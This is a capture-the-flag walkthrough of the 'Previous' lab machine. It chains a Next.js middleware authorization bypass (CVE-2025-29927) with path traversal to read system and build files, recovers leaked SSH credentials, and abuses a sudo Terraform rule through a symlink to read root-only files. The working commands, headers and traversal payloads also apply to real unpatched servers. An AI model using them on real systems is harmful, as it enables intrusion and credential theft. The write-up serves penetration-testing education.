Introduction #
Previous starts with empty-looking website and sign in page for some beta access. I can abuse the authorization bypass in Next.js to read files and discover credentials in app built folder. To get root I can use vulnerability in Terraform plugin.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.34.207
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There is http://previous.htb/, add previous.htb to /etc/hosts.
Web - TCP 80 #
The page is pretty empty:

Both buttons lead to login page:

Without any credentials it is better to move on for now.
Subdomain emun #
As I have the domain name, I will try to find any available subdomains of previous.htb:
ββ$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://previous.htb/ -H 'Host: FUZZ.previous.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.previous.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
:: Progress: [220561/220561] :: Job [1/1] :: 1250 req/sec :: Duration: [0:03:32] :: Errors: 0 ::
That found nothing.
Directory bruteforce #
Also returns nothing useful, everything points to /api/auth/signin:
ββ$ feroxbuster -u http://previous.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://previous.htb
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 1l 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 407w 5493c http://previous.htb/
307 GET 1l 1w 36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
307 GET 1l 1w 35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200 GET 1l 179w 3481c http://previous.htb/signin
307 GET 1l 1w 39c http://previous.htb/api-doc => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-doc
307 GET 1l 1w 36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307 GET 1l 1w 40c http://previous.htb/api_test => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_test
307 GET 1l 1w 37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307 GET 1l 1w 36c http://previous.htb/api3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi3
307 GET 1l 1w 36c http://previous.htb/api2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi2
307 GET 1l 1w 36c http://previous.htb/api4 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi4
307 GET 1l 1w 40c http://previous.htb/docstore => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstore
307 GET 1l 1w 41c http://previous.htb/docsearch => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsearch
[####################] - 2m 30000/30000 0s found:13 errors:0
[####################] - 2m 30000/30000 331/s http://previous.htb/
CVE-2025-29927 #
Next option is to look for vulnerabilities in the system itself
Googling for Next.js 15.2.2 CVE (Version from Wappalyzer) points to towards CVE-2025-29927
x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
The it is possible to bypass authorization checks part looks promising especially as there are the redirects to /api/auth/signin.
When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next().
The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.
SOURCE - its worth a read!
Other useful sources:
- Postmortem on Next.js Middleware bypass
- Next.js and the corrupt middleware: the authorizing artifact
Basicly, the exploit adds the x-middleware-subrequest: middleware header to bypass Next.js middleware authentication checks.
Vulnerable endpoint #
I can use feroxbuster with the CVE-specific header to discover /api/ endpoints:
ββ$ feroxbuster -u http://previous.htb/api -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://previous.htb/api
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π€― Header β x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
π Extract Links β true
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 1l 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
400 GET 1l 2w 28c http://previous.htb/api/download
[####################] - 2m 30000/30000 0s found:1 errors:0
[####################] - 2m 30000/30000 281/s http://previous.htb/api/
Discovered /api/download endpoint (returned 400 instead of 307 redirect)
For download I will most likely need some parameters, I can use ffuf to attemp to brute-force them:
ββ$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://previous.htb/api/download?FUZZ=test' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all -fs 28
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?FUZZ=test
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 28
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 276ms]
:: Progress: [6453/6453] :: Job [1/1] :: 287 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
One parameter was discovered - example
http://previous.htb/docs/examples which contained links to /api/download?example=<filename> and I could have saved all this brute-force business.
PoC #
When I attempt to use curl with the parameter I get this:
ββ$ curl 'http://previous.htb/api/download?example=test' -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.207
* Trying 10.129.34.207:80...
* Connected to previous.htb (10.129.34.207) port 80
* using HTTP/1.x
> GET /api/download?example=test HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 08 Jan 2026 10:43:54 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< location: /api/auth/signin?callbackUrl=%2Fapi%2Fdownload%3Fexample%3Dtest
<
* Connection #0 to host previous.htb left intact
/api/auth/signin?callbackUrl=%2Fapi%2Fdownload%3Fexample%3Dtest
Response: 307 Temporary Redirect to /api/auth/signin
Adding the header changes to output to:
ββ$ curl 'http://previous.htb/api/download?example=test' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.207
* Trying 10.129.34.207:80...
* Connected to previous.htb (10.129.34.207) port 80
* using HTTP/1.x
> GET /api/download?example=test HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.14.1
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
>
* Request completely sent off
< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 08 Jan 2026 10:41:35 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< ETag: "c8wflmak5q"
< Vary: Accept-Encoding
<
* Connection #0 to host previous.htb left intact
{"error":"File not found"}
This is confirmation of the CVE!
- Without the header: I got redirected to
/api/auth/signin- authentication working as intended - With the vulnerable header: I bypassed authentication and got a
404 File not foundresponse instead of a redirect - proving the endpoint is now accessible without auth
The X-Middleware-Subrequest header with multiple colons tricks Next.js middleware into thinking it’s an internal subrequest, causing it to skip authentication checks.
Jeremy credentials #
Now that I have confirmed the bypass, I can try common paths: ../../etc/passwd, config files, application source, etc.
ββ$ curl 'http://previous.htb/api/download?example=../../../etc/passwd' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
/etc/passwd is available, I can read internal files!
First, I check /proc/self/environto see where I am:
ββ$ curl 'http://previous.htb/api/download?example=../../../proc/self/environ' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider
Warning: "--output <FILE>" to save to a file.
ββ$ curl 'http://previous.htb/api/download?example=../../../proc/self/environ' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' --output -
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
- Working Directory:
PWD=/app- The application runs from/app - User Context:
HOME=/home/nextjs- Runs asnextjsuser - Node Version:
18.20.8 - Production Mode:
NODE_ENV=production
Next, I know how typical next app file structure should look like, something like this:
nextjs-app/
βββ .next/
β βββ server/
β βββ static/
βββ public/
β βββ favicon.ico
β βββ images/
βββ src/
β βββ app/
β βββ components/
β β βββ ui/
β βββ lib/
β β βββ db.ts
β β βββ auth.ts
β β βββ utils.ts
β βββ types/
β β βββ index.ts
β βββ config/
β βββ site.ts
βββ node_modules/
βββ .env
βββ .env.local
βββ .gitignore
βββ next.config.js
βββ package.json
βββ package-lock.json
βββ tsconfig.json
βββ README.md
With .gitignore and .env being the most interesting (.gitignore to check what dev does not want others to see and .env for some sweet variables).
I did not find .gitignore but there was a secret key for the application much in .env, I could forge cookie with that, but there was another way. There is a .next folder - the build output directory - and it has a file routes-manifest.json that holds the next step.
routes-manifest.json file is a build-time generated configuration file that contains Next.js routing metadata. It’s created during the next build process and tells the Next.js server how to handle different types of routes.
ββ$ curl 'http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
...<SNIP>...
],
"staticRoutes": [
...<SNIP>...
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
From this file I get information about ALL endpoints, the most interesting of all was /api/auth/[...nextauth]
Since the /api/auth/[...nextauth] ias a dynamic route, I can infer that the corresponding execution logic must be in the pages subdirectory of the server build. That is where Next.js bundles API Route handlers into JavaScript files.
ββ$ curl 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
The output looks like gibberish, it is minified, compiled JavaScript code for the site’s authentication logic.
To get the original, or at least close enough vesion I used Prettier tool:
"use strict";
(() => {
var e = {};
((e.id = 651),
(e.ids = [651]),
(e.modules = {
3480: (e, n, r) => {
e.exports = r(5600);
},
5600: (e) => {
e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");
},
6435: (e, n) => {
Object.defineProperty(n, "M", {
enumerable: !0,
get: function () {
return function e(n, r) {
return r in n
? n[r]
: "then" in n && "function" == typeof n.then
? n.then((n) => e(n, r))
: "function" == typeof n && "default" === r
? n
: void 0;
};
},
});
},
8667: (e, n) => {
Object.defineProperty(n, "A", {
enumerable: !0,
get: function () {
return r;
},
});
var r = (function (e) {
return (
(e.PAGES = "PAGES"),
(e.PAGES_API = "PAGES_API"),
(e.APP_PAGE = "APP_PAGE"),
(e.APP_ROUTE = "APP_ROUTE"),
(e.IMAGE = "IMAGE"),
e
);
})({});
},
9832: (e, n, r) => {
(r.r(n),
r.d(n, { config: () => l, default: () => P, routeModule: () => A }));
var t = {};
(r.r(t), r.d(t, { default: () => p }));
var a = r(3480),
s = r(8667),
i = r(6435);
let u = require("next-auth/providers/credentials"),
o = {
session: { strategy: "jwt" },
providers: [
r.n(u)()({
name: "Credentials",
credentials: {
username: { label: "User", type: "username" },
password: { label: "Password", type: "password" },
},
authorize: async (e) =>
e?.username === "jeremy" &&
e.password ===
(process.env.ADMIN_SECRET ??
"MyNameIsJeremyAndILovePancakes")
? { id: "1", name: "Jeremy" }
: null,
}),
],
pages: { signIn: "/signin" },
secret: process.env.NEXTAUTH_SECRET,
},
d = require("next-auth"),
p = r.n(d)()(o),
P = (0, i.M)(t, "default"),
l = (0, i.M)(t, "config"),
A = new a.PagesAPIRouteModule({
definition: {
kind: s.A.PAGES_API,
page: "/api/auth/[...nextauth]",
pathname: "/api/auth/[...nextauth]",
bundlePath: "",
filename: "",
},
userland: t,
});
},
}));
var n = require("../../../webpack-api-runtime.js");
n.C(e);
var r = n((n.s = 9832));
module.exports = r;
})();
In the human-readable vesion there is what I hoped for, set of credentials: jeremy:MyNameIsJeremyAndILovePancakes
I can use those to SSH in:
ββ$ ssh jeremy@10.129.34.207
jeremy@10.129.34.207's password:
<SNIP>
jeremy@previous:~$ ls
docker user.txt
jeremy@previous:~$ cat user.txt
*user flag*
Root #
Check sudo -l
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
First, check what is in the /opt/examples folder
jeremy@previous:~$ ls /opt/examples/
main.tf terraform.tfstate
jeremy@previous:~$ cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
Plan #
From sudoers, env_reset is disabled:
!env_reset, env_delete+=PATH
This means environment variables are preserved, including TF_VAR_source_path
Terraform automatically loads variables from environment variables.
I can override source_path even though the sudo command is fixed.
The validation is path-string based:
condition = strcontains(var.source_path, "/root/examples/") &&
!strcontains(var.source_path, "..")
Must contain /root/examples/, can not contain ..
It does not prevent symlinks.
The custom provider is almost certainly doing privileged file access:
resource "examples_example" "example" {
source_path = var.source_path
}
Since Terraform is running as root, the provider can read /root/root.txt.
Exploit #
- Create a symlink:
jeremy@previous: ln -s /root/root.txt /tmp/root/examples/link
jeremy@previous:/tmp/root/examples$ ls -la
total 8
drwxrwxr-x 2 jeremy jeremy 4096 Jan 8 12:37 .
drwxrwxr-x 3 jeremy jeremy 4096 Jan 8 12:37 ..
lrwxrwxrwx 1 jeremy jeremy 14 Jan 8 12:37 link -> /root/root.txt
This passes the validation - no .., contains /root/examples
- Override the Terraform variable via environment
jeremy@previous:/tmp/root/examples$ export TF_VAR_source_path="/tmp/root/examples/link"
- Run Terraform as root
jeremy@previous:/tmp/root/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply
β·
β Warning: Provider development overrides are in effect
β
β The following provider development overrides are set in the CLI configuration:
β - previous.htb/terraform/examples in /usr/local/go/bin
β
β The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
β incompatible with published releases.
β΅
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement
Terraform will perform the following actions:
# examples_example.example must be replaced
-/+ resource "examples_example" "example" {
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link" # forces replacement
~ id = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link"
~ source_path = "/root/examples/hello-world.ts" -> "/tmp/root/examples/link" # forces replacement
}
Plan: 1 to add, 0 to change, 1 to destroy.
Changes to Outputs:
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link"
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/link]
Apply complete! Resources: 1 added, 0 changed, 1 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/link"
- Read the output path
jeremy@previous:/tmp/root/examples$ cat /home/jeremy/docker/previous/public/examples/link
af2075..*ROOT_FLAG*...b0f7646c
And that is the FLAG!
Be the root #
To get root shell I can do something similar:
Create a SUID root shell #
-
Copy
/bin/bashvia symlink -
Run Terraform
-
Make it SUID
-
Pop root shell